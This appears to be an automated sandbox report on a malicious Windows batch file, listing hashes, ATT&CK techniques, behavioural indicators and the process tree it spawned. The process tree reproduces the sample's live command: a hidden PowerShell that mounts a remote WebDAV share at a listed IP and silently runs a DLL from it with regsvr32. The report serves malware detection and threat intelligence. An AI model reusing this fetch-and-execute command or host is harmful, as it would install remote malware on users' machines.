149923501e16285e2a6e452849a7cd92531aff50a56a1a703795a59078a35821

Analysis

max time kernel
149s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
23/07/2024, 03:18

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General

Target

23734193721402430449.bat
Size

11KB
MD5

4b82bc401595dd846fb1d5da42a7be24
SHA1

2f9827e76f0fd254933294c815afbd283b2fd31d
SHA256

149923501e16285e2a6e452849a7cd92531aff50a56a1a703795a59078a35821
SHA512

342d8a292fc39ddaf118e44afc5d687423b764c57fa3c94c0eb476c49f4bc53a87ca6f71ca7a729681985905bbae79928f2bc36057410cebda34e70ab7199158
SSDEEP

192:f2jwr3SPfHWj233FC32y1ijVMWiccvRDbYzbccvwW/oY0ZHWgjkU0ZuMMVUHXqx+:+jwrCnWj233FC32y1ijVMWiccvRDbebp

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
952	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1705699165-553239100-4129523827-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
952	powershell.exe
952	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	952	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1872	wordpad.exe
1872	wordpad.exe
1872	wordpad.exe
1872	wordpad.exe
1872	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3636 wrote to memory of 1872	3636	cmd.exe	85
PID 3636 wrote to memory of 1872	3636	cmd.exe	85
PID 3636 wrote to memory of 952	3636	cmd.exe	87
PID 3636 wrote to memory of 952	3636	cmd.exe	87
PID 952 wrote to memory of 2300	952	powershell.exe	89
PID 952 wrote to memory of 2300	952	powershell.exe	89
PID 952 wrote to memory of 4128	952	powershell.exe	90
PID 952 wrote to memory of 4128	952	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\23734193721402430449.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3636
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:1872
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\30527173416348.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:952
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2300
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\30527173416348.dll
    3⤵
    PID:4128

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:2584

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o4hrguo2.nhq.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/952-0-0x0000023A763B0000-0x0000023A763D2000-memory.dmp

Filesize
136KB

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